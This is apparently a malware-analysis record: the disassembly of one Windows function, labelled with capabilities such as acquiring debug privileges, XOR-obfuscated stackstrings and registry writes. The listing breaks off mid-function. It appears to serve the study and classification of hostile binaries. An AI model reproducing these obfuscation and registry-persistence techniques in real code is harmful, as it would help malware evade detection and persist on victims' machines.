Function at 0x43a2c0
Capabilities:
Access peb ldr_data
Acquire debug privileges
Contain obfuscated stackstrings
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49e999
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x478
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
push 0
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
push 0xa
push 0
push bind
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int_]
mov al, byte [0x505cc4]
test al, al
jne 0x43a56c
mov ecx, dword fs:[0x2c]
mov eax, dword [0x506d50]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 4]
jle 0x43a54c
push 0x506d50
call fcn.00443268
add esp, 4
cmp dword [0x506d50], 0xffffffff
jne 0x43a54c
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x268], 0xbd306d1
mov dword [ebp - 0x264], 0x2e778a1
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x268], 0xf09eddff
mov dword [ebp - 0x264], 0xcd36da31
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x268], 0x241ebbba
mov dword [ebp - 0x264], 0xd499ccff
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x268], 0x1b692852
mov dword [ebp - 0x264], 0x165cf348
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x268], 0x470dedf
mov dword [ebp - 0x264], 0xb5eaa59b
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x268], 0x7f0c4430
mov dword [ebp - 0x264], 0x165cf366
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x2c0]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x2b0], xmm1
movups xmmword [0x506c00], xmm0
mov dword [0x506c10], 0
mov dword [0x506c14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a510
sub ecx, edx
lea eax, [ebp - 0x2c0]
push ecx
push eax
mov ecx, 0x506c00
call fcn.0040e0d0
push 0x49ef40
call fcn.00443508
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x506d50
call fcn.00443217
add esp, 4
push 0x506c00
mov ecx, 0x5069c8
call fcn.00408010
mov esi, dword [0x506950]
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0x5069d0
lea ecx, [ebp - 0x258]
call fcn.0042ccf0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x338]
mov esi, dword [ebp - 0x150]
push esi
call fcn.0040d3d0
lea eax, [esi + 0x18]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x320]
call fcn.0040d3d0
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 4
call fcn.00403ff0
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x298]
call fcn.0040d3d0
cmp dword [ebp - 0x284], 0xf
lea eax, [ebp - 0x298]
push 0xa
cmova eax, dword [ebp - 0x298]
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ecx, dword [ebp - 0x284]
add esp, 0xc
cdq
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x33c], edx
cmp ecx, 0xf
jbe 0x43a63a
mov esi, dword [ebp - 0x298]
inc ecx
mov eax, esi
cmp ecx, 0x1000
jb 0x43a62a
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43a62a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004431bb
mov eax, dword [ebp - 0x3a4]
add esp, 8
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x288], 0
push eax
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
push dword [ebp - 0x3fc]
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x3f4]
inc eax
push eax
add ecx, 0x76c
lea eax, [ebp - 0x5c]
push ecx
push str.__04d__02d__02d_
push eax
call fcn.0042cbc0
xorps xmm0, xmm0
mov dword [ebp - 0x2d8], 0
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x2d4], 0
add esp, 0x1c
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2e8], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a6d0
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.0040e0d0
mov byte [ebp - 4], 5
mov dword [ebp - 0x268], 0x2bb664a4
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
xorps xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x280], xmm1
mov dword [ebp - 0x268], 0xbeb10de
mov dword [ebp - 0x264], 0x4f97582
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x268], 0xb8dbd4f1
mov dword [ebp - 0x264], 0xc475c832
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x268], 0x470fef3
mov dword [ebp - 0x264], 0xb5eaa59b
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x268], 0x7f0c4430
mov dword [ebp - 0x264], 0x165cf366
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x268], 0x470dedf
mov dword [ebp - 0x264], 0xb5eaa59b
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x268], 0x7f0c4430
mov dword [ebp - 0x264], 0x165cf366
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x460]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x450], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a927
sub ecx, edx
mov eax, bind
mov edx, dword [edi + 0x10]
sub eax, edx
cmp eax, ecx
jb 0x43ddf6
cmp dword [edi + 0x14], 0xf
jbe 0x43a94a
mov edi, dword [edi]
push edx
push edi
push ecx
lea eax, [ebp - 0x460]
push eax
push ecx
push dword [ebp - 0x261]
lea ecx, [ebp - 0x2b8]
call fcn.00421960
lea eax, [ebp - 0x280]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x2b8]
call fcn.0041d9d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x300], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x43a9e4
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a9da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43a9da
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
call fcn.00430690
lea eax, [ebp - 0x2e8]
push eax
lea ecx, [ebp - 0x440]
call fcn.0040d3d0
mov esi, eax
mov byte [ebp - 4], 9
mov dword [ebp - 0x268], 0xbeb10de
mov dword [ebp - 0x264], 0x47f07881
mov ecx, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x268], 0xb8c7dcf5
mov dword [ebp - 0x264], 0xc37ac027
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x268], 0x2415bcff
mov dword [ebp - 0x264], 0xdc86c4ed
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x268], 0x11796454
mov dword [ebp - 0x264], 0x2c309a12
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x268], 0xde6be5e9
mov dword [ebp - 0x264], 0x6b7ad7c9
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x268], 0x8444d4a2
mov dword [ebp - 0x264], 0x26300d74
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x268], 0x470dedf
mov dword [ebp - 0x264], 0xb5eaa59b
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x268], 0x7f0c4430
mov dword [ebp - 0x264], 0x165cf366
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x268], 0xde6be5c9
mov dword [ebp - 0x264], 0x6b7ad7c9
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x268], 0x8444d4a2
mov dword [ebp - 0x264], 0x26300d74
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
xorps xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x2a4], ecx
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x2a8], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x2b0]
movaps xmmword [ebp - 0x30], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ac41
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
push ecx
mov ecx, esi
call fcn.004225e0
mov dword [ebp - 0x3b8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c8], xmm0
mov dword [ebp - 0x3b4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3c8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3b8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3c8]
mov esi, dword [ebp - 0x3b4]
mov eax, esi
mov edx, dword [ebp - 0x3b8]
sub eax, edx
cmp eax, 2
jb 0x43ace6
cmp esi, 0xf
lea eax, [edx + 2]
mov dword [ebp - 0x3b8], eax
cmova ecx, dword [ebp - 0x3c8]
mov ax, word [0x4b07e4]
mov word [ecx + edx], ax
lea eax, [ebp - 0x3c8]
mov byte [ecx + edx + 2], 0
jmp 0x43ad01
push 2
push 0x4b07e4
mov byte [ebp - 0x3a4], 0
push dword [ebp - 0x3a4]
push 2
call fcn.0040df70
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x3b4]
cmp ecx, 0xf
jbe 0x43ad63
mov edx, dword [ebp - 0x3c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ad59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43adae
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3b4], 0xf
mov byte [ebp - 0x3c8], 0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x42c]
cmp ecx, 0xf
jbe 0x43adbe
mov edx, dword [ebp - 0x440]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43adb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43adb4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 0x440], 0
call fcn.00430690
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x43ae22
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ae18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dda2
push ecx
push edx
call fcn.004431bb
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2ec]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
cmp ecx, 0xf
jbe 0x43ae7b
mov edx, dword [ebp - 0x300]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ae71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dda2
push ecx
push edx
call fcn.004431bb
add esp, 8
push 0xc
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0xf
mov byte [ebp - 0x300], 0
call fcn.0044318b
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x264], esi
xor edx, edx
mov ecx, dword [0x4b0848]
add esp, 4
movaps xmm6, xmmword [0x4b0d40]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movq qword [esi], xmm0
movups xmm0, xmmword [str.dW_NL_O_c]
mov dword [esi + 8], 0
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0x3c4], xmm0
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x33c], edx
jl 0x43b010
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmmword [ebp - 0x280], xmm0
mov ecx, dword [ebp - 0x280]
nop dword [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x3c8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x3c8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x3c4]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x3c4], xmm2
add eax, 8
cmp eax, 0x14
jl 0x43af20
mov dword [ebp - 0x33c], edx
cmp edx, 0x14
jge 0x43b047
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x33c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3c4], cl
inc edx
mov dword [ebp - 0x33c], edx
cmp edx, 0x14
jl 0x43b010
push esi
push 0xf003f
push 0
lea eax, [ebp - 0x3c4]
mov dword [esi], 0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43b08f
push 0
push esi
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x3c4]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x43b093
mov byte [esi + 4], 1
mov ecx, 0x5069c8
mov byte [esi + 8], 1
call fcn.00404830
movsd xmm0, qword [0x4b0c60]
movsd qword [ebp - 0x268], xmm0
mov al, byte [ebp - 0x268]
xor al, 0xaa
movq xmm0, qword [str._QWTK__A]
mov byte [ebp - 0x278], al
mov al, byte [ebp - 0x267]
xor al, 0xbb
mov byte [ebp - 0x277], al
mov al, byte [ebp - 0x266]
xor al, 0xcc
mov byte [ebp - 0x276], al
mov al, byte [ebp - 0x265]
xor al, 0xdd
mov byte [ebp - 0x275], al
mov al, byte [ebp - 0x264]
xor al, 0xee
mov byte [ebp - 0x274], al
mov al, byte [ebp - 0x263]
not al
mov byte [ebp - 0x273], al
mov al, byte [ebp - 0x262]
xor al, 0x11
mov byte [ebp - 0x272], al
mov al, byte [ebp - 0x261]
xor al, 0x22
movq qword [ebp - 0x268], xmm0
mov byte [ebp - 0x271], al
xor edx, edx
mov ax, word [0x4b0acc]
mov word [ebp - 0x260], ax
mov al, byte [0x4b0ace]
mov byte [ebp - 0x25e], al
mov dword [ebp - 0x33c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x33c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x33c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x268], cl
inc edx
mov dword [ebp - 0x33c], edx
cmp edx, 0xb
jl 0x43b151
movsd xmm0, qword [ebp - 0x278]
mov edx, dword [esi]
movsd qword [ebp - 0x308], xmm0
test edx, edx
je 0x43b1dd
lea ecx, [ebp - 0x268]
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b1b0
sub ecx, edi
je 0x43b1dd
push 8
lea eax, [ebp - 0x308]
push eax
push 0xb
push 0
lea eax, [ebp - 0x268]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete al
jmp 0x43b1df
xor al, al
mov byte [esi + 8], al
lea edi, [ebp - 0x2e8]
cmp dword [ebp - 0x2d4], 0xf
mov eax, dword [0x4b0c20]
mov dword [ebp - 0x264], eax
mov al, byte [0x4b0c24]
mov byte [ebp - 0x260], al
jbe 0x43b20d
mov edi, dword [ebp - 0x2e8]
xor edx, edx
mov dword [ebp - 0x33c], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x33c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x33c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x33c], edx
cmp edx, 5
jl 0x43b220
push 0
push edi
lea eax, [ebp - 0x264]
push eax
push esi
call fcn.00442980
mov eax, dword [esi]
add esp, 0x10
test eax, eax
je 0x43b27c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc
push esi
call fcn.004431bb
movups xmm0, xmmword [0x4b0a34]
mov eax, dword [0x4b0a5c]
xor edx, edx
mov dword [ebp - 0x28], eax
add esp, 8
cmp dword [0x5067b8], 2
mov al, byte [0x4b0a60]
movups xmmword [ebp - 0x50], xmm0
mov byte [ebp - 0x24], al
movups xmm0, xmmword [0x4b0a44]
mov dword [ebp - 0x33c], edx
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [0x4b0a54]
movq qword [ebp - 0x30], xmm0
jl 0x43b3e6
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x280], xmm0
mov ecx, dword [ebp - 0x280]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x54]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x54], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x50]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x50], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x43b302
mov dword [ebp - 0x33c], edx
cmp edx, 0x2d
jge 0x43b41a
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x33c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x50], cl
inc edx
mov dword [ebp - 0x33c], edx
cmp edx, 0x2d
jl 0x43b3e6
xorps xmm0, xmm0
mov dword [ebp - 0x2a8], 0
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x2a4], 0
movups xmmword [ebp - 0x2b8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b440
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.0040e0d0
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0xe
call fcn.00430690
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x43b4a6
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b49c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dda2
push ecx
push edx
call fcn.004431bb
add esp, 8
push 0x103
lea eax, [ebp - 0x167]
mov dword [ebp - 0x2a8], 0
push 0
push eax
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
mov byte [ebp - 0x168], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3a0]
push 0x58
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov dword [ebp - 0x3a0], 0x58
lea eax, [ebp - 0x168]
mov dword [ebp - 0x384], eax
add esp, 0xc
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0x380], 0x104
mov dword [ebp - 0x268], 0xbfa22c1
mov dword [ebp - 0x264], 0x2f97993
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x268], 0xb694b9ed
